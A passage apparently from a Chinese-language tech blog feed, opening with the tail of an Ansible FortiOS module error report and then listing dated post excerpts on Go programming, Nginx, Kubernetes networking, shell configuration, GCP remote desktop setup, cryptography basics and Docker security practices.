 "module_stderr": "Traceback (most recent call last):\n File \"/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\", line 102, in <module>\n _ansiballz_main()\n File \"/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\", line 94, in _ansiballz_main\n invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)\n File \"/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\", line 40, in invoke_module\n runpy.run_module(mod_name='ansible_collections.fortinet.fortios.plugins.modules.fortios_system_config_backup_restore', init_globals=None, run_name='__main__', alter_sys=True)\n File \"/usr/lib/python3.8/runpy.py\", line 207, in run_module\n return _run_module_code(code, init_globals, run_name, mod_spec)\n File \"/usr/lib/python3.8/runpy.py\", line 97, in _run_module_code\n _run_code(code, mod_globals, init_globals,\n File \"/usr/lib/python3.8/runpy.py\", line 87, in _run_code\n exec(code, run_globals)\n File \"/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py\", line 472, in <module>\n File \"/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py\", line 436, in main\nTypeError: __init__() missing 1 required positional argument: 'mod'\n",
 "module_stdout": "",
 "msg": "MODULE FAILURE\nSee stdout/stderr for the exact error",
 "rc": 1
}

使用最新的預發布版 fortinet.fortios:2.0.0 時，我得到：

Gopher 需要知道的几个结构体骚操作

Mon, 03 Jan 2022 15:08:31 +0800

Gopher 需要知道的几个结构体骚操作

NoCopy

$ go vet aaa.go
# command-line-arguments
./aaa.go:7:14: test passes lock by value: sync.WaitGroup contains sync.noCopy
./aaa.go:15:10: call of test copies lock value: sync.WaitGroup contains sync.noCopy

type noCopy struct{}

type WaitGroup struct {
 noCopy noCopy

 // 64-bit value: high 32 bits are counter, low 32 bits are waiter count.
 // 64-bit atomic operations require 64-bit alignment, but 32-bit
 // compilers only guarantee that 64-bit fields are 32-bit aligned.
 // For this reason on 32 bit architectures we need to check in state()
 // if state1 is aligned or not, and dynamically "swap" the field order if
 // needed.
 state1 uint64
 state2 uint32
}

noCopy 定义非常简单，空结构体，zero size 不占用空间(前提是非结构体的最后一个字段，否则还要是有 8 byte 空间开销)

Nginx怎样隐藏上游错误

Mon, 27 Dec 2021 15:47:12 +0800

Nginx 怎样隐藏上游错误

Nginx 允许对以下 7 种可以进行重试的错误码启用 next upstream 功能

403 Forbidden
404 Not Found
429 Too Many Requests
500 Internal Server Error
502 Bad Gateway
503 Server Unavailable
504 Gateway Timeout

当上游返回 404 错误时，改为通过 200 返回一张找不到资源的图片

此时，可以通过 proxy_intercept_errors 指令完成这一功能当 proxy_intercept_errors 开启后，对于上游返回的大于等于 300 响应码的请求，都可以基于 error_page 指令继续处理

location /ih {
 proxy_pass http://ihBackend;
 proxy_intercept_errors on;
 error_page 404 = /404.html;
}
location = /404.html {
 alias html/404_not_found.html;
}

Argo CD ApplicationSet Controller: 世界為我而轉動！

Mon, 27 Dec 2021 09:41:03 +0800

# 安裝 kind，其他平台安裝方式請參閱官方文件
# 用來運行輕量 K8s Cluster 於本地端
~$ brew install kind
# 安裝 kubectx，其他平台安裝方式請參閱官方文件
# 用來方便切換不同 k8s context
~$ brew install kubectx
# 安裝 helm，其他平台安裝方式請參閱官方文件
# K8s 套件管理工具
~$ brew install helm
# 安裝 kubectl, 其他平台安裝方式請參閱官方文件
# 用來與 K8s Cluster API Server 溝通
~$ brew install kubectl
# 安裝 argocd cli, 其他平台安裝方式請參閱官方文件
# 用來與 Argo CD 溝通
~$ brew install argocd

golang的AES加密和解密的三种模式实现（CBC/ECB/CFB)

Wed, 22 Dec 2021 17:40:52 +0800

【理解 Cilium 系列文章】(一) 初識 Cilium

Tue, 21 Dec 2021 13:04:38 +0800

【理解 Cilium 系列文章】(一) 初識 Cilium

當前 k8s Service 負載均衡的實現現狀

在 Cilium 出現之前， Service 由 kube-proxy 來實現，實現方式有 userspace ， iptables ， ipvs 三種模式。

Userspace

當前模式下，kube-proxy 作為反向代理,監聽隨機端口，通過 iptables 規則將流量重定向到代理端口，再由 kube-proxy 將流量轉發到後端 pod。Service 的請求會先從用户空間進入內核 iptables，然後再回到用户空間，代價較大，性能較差。

Iptables

存在的問題：

1.可擴展性差。隨着 service 數據達到數千個，其控制面和數據面的性能都會急劇下降。原因在於 iptables 控制面的接口設計中，每添加一條規則，需要遍歷和修改所有的規則，其控制面性能是 O(n²) 。在數據面，規則是用鏈表組織的，其性能是 O(n)

2.LB 調度算法僅支持隨機轉發

Ipvs 模式

IPVS 是專門為 LB 設計的。它用 hash table 管理 service，對 service 的增刪查找都是 O(1)的時間複雜度。不過 IPVS 內核模塊沒有 SNAT 功能，因此借用了 iptables 的 SNAT 功能。

IPVS 針對報文做 DNAT 後，將連接信息保存在 nf_conntrack 中，iptables 據此接力做 SNAT。該模式是目前 Kubernetes 網絡性能最好的選擇。但是由於 nf_conntrack 的複雜性，帶來了很大的性能損耗。騰訊針對該問題做過相應的優化【繞過 conntrack，使用 eBPF 增強 IPVS 優化 K8s 網絡性能】

不使用 kube-proxy 的 Kubernetes

Mon, 20 Dec 2021 17:57:13 +0800

不使用 kube-proxy 的 Kubernetes

快速開始

kubeadm init --skip-phases=addon/kube-proxy

# 設定 Helm 倉庫
helm repo add cilium https://helm.cilium.io/


helm install cilium cilium/cilium --version 1.9.18 \
 --namespace kube-system \
 --set kubeProxyReplacement=strict \
 --set k8sServiceHost=REPLACE_WITH_API_SERVER_IP \
 --set k8sServicePort=REPLACE_WITH_API_SERVER_PORT

Zsh tab 補完無法使用

Fri, 10 Dec 2021 17:44:49 +0800

Zsh tab 補完無法使用

問題

雖然我之前用過 Oh-My-Zsh，但這次（設定新電腦）我決定盡量不要安裝它，讓環境更精簡。現在我想單獨取用 Oh-My-Zsh 的大小寫不敏感補完功能。翻查原始碼後，我找到下面這行： zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}' 'r:|=*' 'l:|=* r:|=*'

我相當確定 Oh-My-Zsh 就是用這行達成我的需求，所以我把它加進 .zshrc。重啟終端機後輸入 cd desk，再按 [tab]，結果沒有作用，並沒有補完成 cd Desktop/。

以下是完整的 .zshrc 供參考：

# Source - https://stackoverflow.com/q
# Posted by kylemart
# Retrieved 2026-01-05, License - CC BY-SA 3.0

# pure shell theme
autoload -U promptinit; promptinit
prompt pure

# completion definitions
zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}' 'r:|=*' 'l:|=* r:|=*'
fpath=(/usr/local/share/zsh-completions $fpath)

# syntax highlighting (must be last line)
source /usr/local/share/zsh-syntax-highlighting/zsh-syntax-highlighting.zsh

答案

只要 autoload 並執行 compinit 即可。

Linkerd 2.8 - 實現超級簡單又安全的多叢集(multicluster) Kubernetes 架構

Thu, 09 Dec 2021 09:25:44 +0800

Linkerd 2.8 - 實現超級簡單又安全的多叢集(multicluster) Kubernetes 架構

撰寫 Bash 腳本的最佳實務

Mon, 06 Dec 2021 11:11:54 +0800

#!/usr/bin/env bash
# Bash3 Boilerplate. Copyright (c) 2014, kvz.io
set -o errexit
set -o pipefail
set -o nounset
# set -o xtrace

# Set magic variables for current file & dir
__dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
__file="${__dir}/$(basename "${BASH_SOURCE[0]}")"
__base="$(basename ${__file} .sh)"
__root="$(cd "$(dirname "${__dir}")" && pwd)" # <-- change this as it depends on your app

arg1="${1:-}"

使用 shift 讀取函式參數

這樣在日後需要調整參數順序時會更容易。

# Processes a file.
# $1 - the name of the input file
# $2 - the name of the output file
process_file(){
 local -r input_file="$1"; shift
 local -r output_file="$1"; shift
}

宣告你的變數

若可攜性是重點，請用 typeset 取代 declare。

Day 28 - Kubernetes 第三方好用工具介紹

Thu, 02 Dec 2021 13:28:09 +0800

Day 28 - Kubernetes 第三方好用工具介紹

$ kubectl get pods
NAME READY STATUS RESTARTS AGE
ithome-6564f65698-947rv 1/1 Running 0 84s
ithome-6564f65698-fglr9 1/1 Running 0 84s
ithome-6564f65698-k5wtg 1/1 Running 0 84s
ithome-6564f65698-rrvk4 1/1 Running 0 84s
ithome-6564f65698-zhwlj 1/1 Running 0 84s

Stern/Kail

創建出來的 Pod 名稱上面都會有一些不好閱讀的亂數

如果使用 kubectl 來觀察個別 Pod 的 log 就必須要於不同的 pod 之間來回切換

這方面的工具滿多的，譬如 Stern, Kube-tail, Kail 等都可以

上述範例會有五個 pod，而且這五個 pod 的名稱都是 ithome 開頭，因此我可以直接用 stern ithom 的方式來抓取這些 pod 的資訊，結果如下圖

$ stern ithome
...
ithome-6564f65698-zhwlj netutils Hello! 369 secs elapsed...
ithome-6564f65698-fglr9 netutils Hello! 369 secs elapsed...
ithome-6564f65698-947rv netutils Hello! 367 secs elapsed...
ithome-6564f65698-k5wtg netutils Hello! 368 secs elapsed...
ithome-6564f65698-rrvk4 netutils Hello! 369 secs elapsed...
ithome-6564f65698-zhwlj netutils Hello! 370 secs elapsed...
ithome-6564f65698-fglr9 netutils Hello! 370 secs elapsed...
ithome-6564f65698-947rv netutils Hello! 368 secs elapsed...
ithome-6564f65698-k5wtg netutils Hello! 370 secs elapsed...
ithome-6564f65698-rrvk4 netutils Hello! 370 secs elapsed...
ithome-6564f65698-zhwlj netutils Hello! 371 secs elapsed...
ithome-6564f65698-fglr9 netutils Hello! 371 secs elapsed...
ithome-6564f65698-947rv netutils Hello! 369 secs elapsed...

ithome-6564f65698-k5wtg netutils Hello! 371 secs elapsed...
ithome-6564f65698-rrvk4 netutils Hello! 371 secs elapsed...
ithome-6564f65698-zhwlj netutils Hello! 372 secs elapsed...
ithome-6564f65698-fglr9 netutils Hello! 372 secs elapsed...
^C

K9S

過往總是透過 kubectl 指令於各個資源，各 namespace 間切來切去，特別是要使用 exec, get, describe, logs, delete 等指令時，常常打的手忙腳亂或是覺得心累，有這種困擾的人可以考慮使用看看 k9s 這個工具

值得了解的 5 個 DevSecOps 開源專案

Tue, 30 Nov 2021 12:41:13 +0800

值得了解的 5 個 DevSecOps 開源專案

Clair

Sigstore

KubeLinter

Open Policy Agent and Gatekeeper

Falco

[Kubernetes] Service Overview

Wed, 24 Nov 2021 14:00:45 +0800

[Kubernetes] Service Overview

定義 Service

搭配 selector

由於要先有 Pod 才會有定義 Service 的需求，因此假設 k8s 中已經有一些 Pod 的存在(同時對外開放 TCP port 9376)，並帶有 app=MyApp 的 label，此時就可以定義一個 Service 來作為這些 pod 前方的抽象層，透過 domain name 的方式提供服務

kind: Service
apiVersion: v1
metadata:
 name: my-service
spec:
 # type 一共有四種(ClusterIP, NodePort, LoadBalancer, ExternalName)
 # 預設是 ClusterIP
 type: ClusterIP
 # 選擇帶有 "app=MyApp" 的 pod
 selector:
 app: MyApp
 # Service 實際對外服務的設定
 ports:
 - protocol: TCP
 port: 80
 # 此為 Pod 對外開放的 port number
 targetPort: 9376

Pod <---> Endpoint(tcp:9376) <---> Service(tcp:80, with VIP)

25秒读取16GB文件，Go怎么做到的？

Mon, 22 Nov 2021 11:07:17 +0800

打开文件后，我们有以下两个选项可以选择：

逐行读取文件，这有助于减少内存紧张，但需要更多的时间。

一次将整个文件读入内存并处理该文件，这将消耗更多内存，但会显著减少时间。

由于文件太大，即 16 GB，因此无法将整个文件加载到内存中。但是第一种选择对我们来说也是不可行的，因为我们希望在几秒钟内处理文件。

但你猜怎么着，还有第三种选择。瞧……相比于将整个文件加载到内存中，在 Go 语言中，我们还可以使用 bufio.NewReader()将文件分块加载。


func main() {
 s := time.Now()
 args := os.Args[1:]
 if len(args) != 6 { // for format LogExtractor.exe -f "From Time" -t "To Time" -i "Log file directory location"
 fmt.Println("Please give proper command line arguments")
 return
 }
 startTimeArg := args[1]
 finishTimeArg := args[3]
 fileName := args[5]

 file, err := os.Open(fileName)
 if err != nil {
 fmt.Println("cannot able to read the file", err)
 return
 }

 defer file.Close() // close after checking err

 queryStartTime, err := time.Parse("2006-01-02T15:04:05.0000Z", startTimeArg)
 if err != nil {
 fmt.Println("Could not able to parse the start time", startTimeArg)
 return
 }

 queryFinishTime, err := time.Parse("2006-01-02T15:04:05.0000Z", finishTimeArg)
 if err != nil {
 fmt.Println("Could not able to parse the finish time", finishTimeArg)
 return
 }

 filestat, err := file.Stat()
 if err != nil {
 fmt.Println("Could not able to get the file stat")
 return
 }

 fileSize := filestat.Size()
 offset := fileSize - 1
 lastLineSize := 0

 for {
 b := make([]byte, 1)
 n, err := file.ReadAt(b, offset)
 if err != nil {
 fmt.Println("Error reading file ", err)
 break
 }
 char := string(b[0])
 if char == "\n" {
 break
 }
 offset--
 lastLineSize += n
 }

 lastLine := make([]byte, lastLineSize)
 _, err = file.ReadAt(lastLine, offset+1)
 if err != nil {
 fmt.Println("Could not able to read last line with offset", offset, "and lastline size", lastLineSize)
 return
 }

 logSlice := strings.SplitN(string(lastLine), ",", 2)
 logCreationTimeString := logSlice[0]

 lastLogCreationTime, err := time.Parse("2006-01-02T15:04:05.0000Z", logCreationTimeString)
 if err != nil {
 fmt.Println("can not able to parse time : ", err)
 }

 if lastLogCreationTime.After(queryStartTime) && lastLogCreationTime.Before(queryFinishTime) {
 Process(file, queryStartTime, queryFinishTime)
 }

 fmt.Println("\nTime taken - ", time.Since(s))
}

func Process(f *os.File, start time.Time, end time.Time) error {
 linesPool := sync.Pool{New: func() interface{} {
 lines := make([]byte, 250*1024)
 return lines
 }}

 stringPool := sync.Pool{New: func() interface{} {
 lines := ""
 return lines
 }}

 r := bufio.NewReader(f)

 var wg sync.WaitGroup

 for {
 buf := linesPool.Get().([]byte)

 n, err := r.Read(buf)
 buf = buf[:n]

 if n == 0 {
 if err != nil {
 fmt.Println(err)
 break
 }
 if err == io.EOF {
 break
 }
 return err
 }

 nextUntillNewline, err := r.ReadBytes('\n')

 if err != io.EOF {
 buf = append(buf, nextUntillNewline...)
 }

 wg.Add(1)
 go func() {
 ProcessChunk(buf, &linesPool, &stringPool, start, end)
 wg.Done()
 }()

 }

 wg.Wait()
 return nil
}

func ProcessChunk(chunk []byte, linesPool *sync.Pool, stringPool *sync.Pool, start time.Time, end time.Time) {
 var wg2 sync.WaitGroup

 logs := stringPool.Get().(string)
 logs = string(chunk)

 linesPool.Put(chunk)

 logsSlice := strings.Split(logs, "\n")

 stringPool.Put(logs)

 chunkSize := 300
 n := len(logsSlice)
 noOfThread := n / chunkSize

 if n%chunkSize != 0 {
 noOfThread++
 }

 for i := 0; i < (noOfThread); i++ {

 wg2.Add(1)
 go func(s int, e int) {
 defer wg2.Done() // to avaoid deadlocks
 for i := s; i < e; i++ {
 text := logsSlice[i]
 if len(text) == 0 {
 continue
 }
 logSlice := strings.SplitN(text, ",", 2)
 logCreationTimeString := logSlice[0]

 logCreationTime, err := time.Parse("2006-01-02T15:04:05.0000Z", logCreationTimeString)
 if err != nil {
 fmt.Printf("\n Could not able to parse the time :%s for log : %v", logCreationTimeString, text)
 return
 }

 if logCreationTime.After(start) && logCreationTime.Before(end) {
 // fmt.Println(text)
 }
 }
 }(i*chunkSize, int(math.Min(float64((i+1)*chunkSize), float64(len(logsSlice)))))
 }

 wg2.Wait()
 logsSlice = nil
}

Gin 框架绑定 JSON 参数使用 jsoniter

Mon, 22 Nov 2021 10:27:39 +0800

Gin 框架绑定 JSON 参数使用 jsoniter

simple

go build -tags=jsoniter ./...

custom

implement `BindingBody` interface

// github.com/gin-gonic/gin@v1.6.3/binding/binding.go:36
// Binding describes the interface which needs to be implemented for binding the
// data present in the request such as JSON request body, query parameters or
// the form POST.
type Binding interface {
 Name() string
 Bind(*http.Request, interface{}) error
}
// BindingBody adds BindBody method to Binding. BindBody is similar with Bind,
// but it reads the body from supplied bytes instead of req.Body.
type BindingBody interface {
 Binding
 BindBody([]byte, interface{}) error
}

package custom
import (
 "bytes"
 "fmt"
 "io"
 "net/http"
 jsoniter "github.com/json-iterator/go"
 "github.com/gin-gonic/gin/binding"
)
// BindingJSON 替换Gin默认的binding，支持更丰富JSON功能
var BindingJSON = jsonBinding{}
// 可以自定义jsoniter配置或者添加插件
var json = jsoniter.ConfigCompatibleWithStandardLibrary
type jsonBinding struct{}
func (jsonBinding) Name() string {
 return "json"
}
func (jsonBinding) Bind(req *http.Request, obj interface{}) error {
 if req == nil || req.Body == nil {
 return fmt.Errorf("invalid request")
 }
 return decodeJSON(req.Body, obj)
}
func (jsonBinding) BindBody(body []byte, obj interface{}) error {
 return decodeJSON(bytes.NewReader(body), obj)
}
func decodeJSON(r io.Reader, obj interface{}) error {
 decoder := json.NewDecoder(r)
 if binding.EnableDecoderUseNumber {
 decoder.UseNumber()
 }
 if binding.EnableDecoderDisallowUnknownFields {
 decoder.DisallowUnknownFields()
 }
 if err := decoder.Decode(obj); err != nil {
 return err
 }
 return validate(obj)
}
func validate(obj interface{}) error {
 if binding.Validator == nil {
 return nil
 }
 return binding.Validator.ValidateStruct(obj)
}

// binding.JSON 替换成自定义的
ctx.ShouldBindWith(ms, binding.JSON)
ctx.ShouldBindBodyWith(ms, binding.JSON)

Golang os/exec 使用方法（筆記）

Fri, 12 Nov 2021 11:34:30 +0800

Golang os/exec 使用方法（筆記）

加入額外的環境參數再執行指令

cmd := exec.Command("programToExecute")
additionalEnv := "FOO=bar"
newEnv := append(os.Environ(), additionalEnv)
cmd.Env = newEnv
out, err := cmd.CombinedOutput()
if err != nil {
 log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("%s", out)

在 Linux 下使用 os/exec + Pipe 或 Bash 運算式

rcmd := `iw dev | awk '$1=="Interface"{print $2}'`
cmd := exec.Command("bash", "-c", rcmd)
out, err := cmd.CombinedOutput()
if err != nil {
 log.Println(err.Error())
}
log.Println(string(out))

在 Windows 下使用 os/exec + Batch 運算式

cmd := exec.Command("cmd", "/c", "ffmpeg -i myfile.mp4 myfile.mp3 && del myfile.mp4")
out, err := cmd.CombinedOutput()
if err != nil {
 log.Println(err.Error())
}
log.Println(string(out))

解決 Windows CMD 在 os/exec 時會出現本地語言的問題

cmd := exec.Command("cmd", "/c", "chcp 65001 && netsh WLAN show drivers")
out, err := cmd.CombinedOutput()
if err != nil {
 log.Println(err.Error())
}
log.Println(string(out))

使用此方法得出的 output string 請記得把回傳的首行（chcp 的回傳結果）刪除掉再進行其他處理和讀取。

喬叔教 Elastic - 30 - Elasticsearch 的優化技巧 (4/4) - Shard 的最佳化管理

Wed, 10 Nov 2021 13:12:35 +0800

喬叔教 Elastic - 30 - Elasticsearch 的優化技巧 (4/4) - Shard 的最佳化管理

規劃時建議要考量的項目

Search 在執行時，一個 Shard 會分配一個 Thread，數量太多反而會拖慢速度

一個 Node 依照不同的功能分類有多種 Thread pool，其中 search (count/search/suggest) 的 size 是 int((# of allocated processors * 3) / 2) + 1 並且 queue_size 預設是 1000 ，而 write (index/delete/update/bulk) 的 size 是 # of allocated processors ，預設的 queue_size 也是 1000。( 官方文件 - Thread pools )

大多數的 searching 在執行時，查詢的資料是會橫跨多個 shards，而每個 shard 在搜尋時會使用一個 CPU thread 在處理執行，也就是：

Markdown 語法的正則表達式

Fri, 29 Oct 2021 10:19:41 +0800

# Headings
headerOne = `(#{1}\s)(.*)`
headeTwo = `(#{2}\s)(.*)`
headerThree = `(#{3}\s)(.*)`
headerFour = `(#{4}\s)(.*)`
headerFive = `(#{5}\s)(.*)`
headerSix = `(#{6}\s)(.*)`
# Bold and Italic Text
boldItalicText = `(\*|\_)+(\S+)(\*|\_)+`
# Links
linkText = `(\[.*\])(\((http)(?:s)?(\:\/\/).*\))`
# Images
imageFile = `(\!)(\[(?:.*)?\])(\(.*(\.(jpg|png|gif|tiff|bmp))(?:(\s\"|\')(\w|\W|\d)+(\"|\'))?\)`
# Unordered List
listText = `(^(\W{1})(\s)(.*)(?:$)?)+`
# Numbered Text
numberedListText = `(^(\d+\.)(\s)(.*)(?:$)?)+`
# Block Quotes
blockQuote = `((^(\>{1})(\s)(.*)(?:$)?)+`
# Inline Code
inlineCode = "(\\`{1})(.*)(\\`{1})"
# Code Block
codeBlock = "(\\`{3}\\n+)(.*)(\\n+\\`{3})"
# Horizontal Line
horizontalLine = `(\=|\-|\*){3}`
# Email Text
emailText = `(\<{1})(\S+@\S+)(\>{1})`
# TABLES
tableText = `(((\|)([a-zA-Z\d+\s#!@'"():;\\\/.\[\]\^<={$}>?(?!-))]+))+(\|))(?:\n)?((\|)(-+))+(\|)(\n)((\|)(\W+|\w+|\S+))+(\|$)`

Google Cloud Platform(GCP)：透過 Windows 遠端桌面存取 GCP 執行個體上的 Linux GUI

Wed, 20 Oct 2021 16:15:48 +0800

Google Cloud Platform(GCP)：透過 Windows 遠端桌面存取 GCP 執行個體上的 Linux GUI

# This will install GUI and make it as a default startup option and then restart the machine.
$ sudo yum install xrdp tigervnc-server

~# sudo su
~# passwd
~# systemctl enable --now xrdp

~# netstat -antup | grep xrdp
tcp 0 0 0.0.0.0:3389 0.0.0.0:* LISTEN 10202/xrdp
tcp 0 0 127.0.0.1:3350 0.0.0.0:* LISTEN 10201/xrdp-sesman

【筆記】在GCP上建立可Remote dekstop的Ubuntu環境

Wed, 20 Oct 2021 16:14:47 +0800

【筆記】在 GCP 上建立可 Remote dekstop 的 Ubuntu 環境

install

# dependency
sudo apt-get install ubuntu-desktop gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal

# VNC Server
sudo apt-get install vnc4server

# 安裝完成後先執行vncserver，會先跳出password設定的選項
vncserver

modify `~/.vnc/xstartup`

#!/bin/sh

# Uncomment the following two lines for normal desktop:
# unset SESSION_MANAGER
# exec /etc/X11/xinit/xinitrc

[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
xsetroot -solid grey
vncconfig -iconic &
x-terminal-emulator -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &
x-window-manager &

gnome-panel &
gnome-settings-daemon &
metacity &
nautilus &

exec

# 殺掉目前執行的vncserver 然後重新執行
vncserver -kill :1
# vncserver預設是執行在port 5900上，如果在後面加上：1 就是5901以此類推
vncserver :1

設定 reboot 的時候自動執行 vncserver

@reboot /usr/bin/vncserver :1

一次搞懂密碼學中的三兄弟 — Encode、Encrypt 跟 Hash

Mon, 18 Oct 2021 14:24:01 +0800

一次搞懂密碼學中的三兄弟 — Encode、Encrypt 跟 Hash

編碼（Encoding）

不會修改資料、也沒有任何加密的效果，單純就是換個方式來表達資料而已，其中最有名的例子就是摩斯密碼

JavaScript 中有兩個很實用的 function 分別是 encodeURI 跟 decodeURI 把網址中的特殊字元（空白、標點符號等等）編碼成符合 URL 的格式

Base64 是一種可以把二進位的資料編碼成 ASCII 字元的方法

霍夫曼編碼（Huffman Coding） 一種用來進行無失真壓縮的編碼演算法，說穿了他的概念就是把常用的字記成縮寫，從而降低資料量、達到壓縮的效果

加密（Encrypt）

加密跟解密必須要有金鑰（Key）才能進行。以最簡單的凱薩加密法來說，他加密的方式就是把每個英文字母加上一個偏移量，這個偏移量就是用來執行加解密的 Key

AES (Advanced Encryption Standard) 是一種對稱加密演算法，所謂的對稱就是說加密解密都是用同一個 key，這點跟上面說到的凱薩加密法一樣，但 AES 不像凱薩的 key 只有 0-25 這麼少種，而是可以有超過 10³⁸ 種

RSA 這類非對稱加密法有個很特別的地方，就是他會產生一組兩個 Key 分別叫公鑰（Public Key）跟私鑰（Private Key），而且用公鑰加密的內容只能用私鑰解

雜湊（Hashing）

各個欄位/字元丟進去某個公式計算的方式就叫做雜湊（Hash），而這個計算公式就稱為雜湊函數（Hash function），過程可能會做各種加減乘除，最後算出一個值或字串，因為不可能由雜湊後的結果回推，所以雜湊的過程是不可逆的

Nginx 出現 500 Error 修復 (too many open file, connection)

Sat, 09 Oct 2021 11:51:06 +0800

Nginx 出現 500 Error 修復 (too many open file, connection)

Nginx 出現 500 Error, 錯誤訊息只能從 Log 查到, 有遇到下述兩種狀況:

socket() failed (24: Too many open files) while connecting to upstream

$ sudo su - www-data
$ ulimit -n # 看目前系統設定的限制 (ulimit -a # 可查看全部參數)
1024

# vim /etc/security/limits.conf # 由此檔案設定 nofile (nofile - max number of open files) 的大小
# 增加/修改 下述兩行
* soft nofile 655360
* hard nofile 655360

ulimit -n # 登出後, 在登入, 執行就會出現此值
655360

# 若 ulimit -n 沒出現 655360 的話, 可使用 ulimit -n 655360 # 強制設定
# 再用 ulimit -n 或 ulimit -Sn (驗證軟式設定)、ulimit -Hn (驗證硬式設定) 檢查看看(或 ulimit -a).

# 從系統面另外計算 + 設定
lsof | wc -l # 計算開啟檔案數量
sudo vim /etc/sysctl.conf
fs.file-max = 3268890
sudo sysctl -p

512 worker_connections are not enough while connecting to upstream

# /etc/nginx/nginx.conf
worker_connections 10240;

# 參考 Nginx CoreModule
# worker_processes 2;
# worker_rlimit_nofile 10240;
# events {
# # worker_connections 10240;
# }

# Nginx 的 connection 增加後, 整體速度會變慢很多, 主要原因是 php-cgi 不夠用, 所以要作以下調整.

# php-cgi was started with phpfcgid_children="10" and phpfcgid_requests="500"
# ab was run on another server, connect via a switch using GBit ethernet
# http://till.klampaeckel.de/blog/archives/30-PHP-performance-III-Running-nginx.html

# vim /etc/nginx/nginx.conf
worker_connections 10240;
worker_rlimit_nofile

# vim /etc/init.d/php-fcgi
PHP_FCGI_CHILDREN=15
PHP_FCGI_MAX_REQUESTS=1000
改成
PHP_FCGI_CHILDREN=512 # 或 150 慢慢加, 注意 MySQL connection 是否夠用
PHP_FCGI_MAX_REQUESTS=10240

# 上述文章的 phpfcgid_stop(), 寫得還不錯, 有需要可以用看看.
# phpfcgid_stop() {
# echo "Stopping $name."
# pids=`pgrep php-cgi`
# pkill php-cgi
# wait_for_pids $pids
# }

超簡單！快速打造漂亮又好用的 zsh 終端環境

Thu, 07 Oct 2021 08:44:18 +0800

利用 GPG 簽署 git commit

Tue, 05 Oct 2021 18:28:06 +0800

利用 GPG 簽署 git commit

SHELL编程之常用技巧

Wed, 22 Sep 2021 13:01:11 +0800

Golang基准测试

Thu, 02 Sep 2021 12:50:33 +0800

Golang 基准测试

基本使用

基准测试常用于代码性能测试，函数需要导入 testing 包，并定义以 Benchmark 开头的函数，参数为 testing.B 指针类型，在测试函数中循环调用函数多次

➜ go test -bench=. -run=none
goos: darwin
goarch: amd64
pkg: pkg06
cpu: Intel(R) Core(TM) i7-8850H CPU @ 2.60GHz
BenchmarkFib-12 250 4682682 ns/op
PASS
ok pkg06 1.875s
➜ go test -bench=. -benchmem -run=none
goos: darwin
goarch: amd64
pkg: pkg06
cpu: Intel(R) Core(TM) i7-8850H CPU @ 2.60GHz
BenchmarkFib-12 249 4686452 ns/op 0 B/op 0 allocs/op
PASS
ok pkg06 1.854s

bench 的工作原理

基准测试函数会被一直调用直到 b.N 无效，它是基准测试循环的次数
b.N 从 1 开始，如果基准测试函数在 1 秒内就完成 (默认值)，则 b.N 增加，并再次运行基准测试函数
b.N 的值会按照序列 1,2,5,10,20,50,... 增加，同时再次运行基准测测试函数
上述结果解读代表 1 秒内运行了 250 次，每次 4682682 ns
-12 后缀和用于运行次测试的 GOMAXPROCS 值有关。与 GOMAXPROCS 一样，此数字默认为启动时 Go 进程可见的 CPU 数。可以使用 -cpu 标识更改此值，可以传入多个值以列表形式来运行基准测试

传入 cpu num 进行测试

➜ go test -bench=. -cpu=1,2,4 -benchmem -run=none
goos: darwin
goarch: amd64
pkg: pkg06
cpu: Intel(R) Core(TM) i7-8850H CPU @ 2.60GHz
BenchmarkFib 244 4694667 ns/op 0 B/op 0 allocs/op
BenchmarkFib-2 255 4721201 ns/op 0 B/op 0 allocs/op
BenchmarkFib-4 256 4756392 ns/op 0 B/op 0 allocs/op
PASS
ok pkg06 5.826s

count 多次运行基准测试

因为热缩放、内存局部性、后台处理、gc 活动等等会导致单次的误差，所以一般会进行多次测试

使用mydumper备份数据库

Wed, 01 Sep 2021 17:58:48 +0800

Docker 安全最佳實務：速查表

Fri, 20 Aug 2021 23:14:30 +0800

Docker 安全最佳實務：速查表

映像安全

使用可信任的映像

非特權使用者

FROM base_image
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
USER appuser

User ID 命名空間

隔離命名空間，避免容器權限提升影響主機。

為了降低風險，請在主機與 Docker daemon 上使用 --userns-remap 選項設定獨立的命名空間。

容器執行期安全

禁止新增權限

為了提升安全性，建議在建立容器後明確禁止新增權限：--security-opt=no-new-privileges。

定義細粒度能力

例如，Web 伺服器可能只需要 NET_BIND_SERVICE 來綁定 80 連接埠。

控制資源使用

docker run --memory="400m" --cpus="0.5"

主機系統安全

敏感檔案系統區域

若需要存取主機設備，請謹慎以 [r|w|m] 旗標（read、write、mknod）開啟必要權限。

容器檔案系統存取

docker run --read-only --tmpfs /tmp:rw ,noexec,nosuid

持久化儲存

如果需要和主機檔案系統或其他容器共享資料，有兩種做法：

使用可限制磁碟空間的 bind mount（--mount type=bind,o=size）
為專用分割區建立 bind volume（--mount type=volume）

網路安全

Docker daemon socket

Docker 使用的 UNIX socket 不應暴露：/var/run/docker.sock

[译] Go语言inline内联的策略与限制

Sat, 14 Aug 2021 20:33:41 +0800

package main

import "fmt"

func main() {
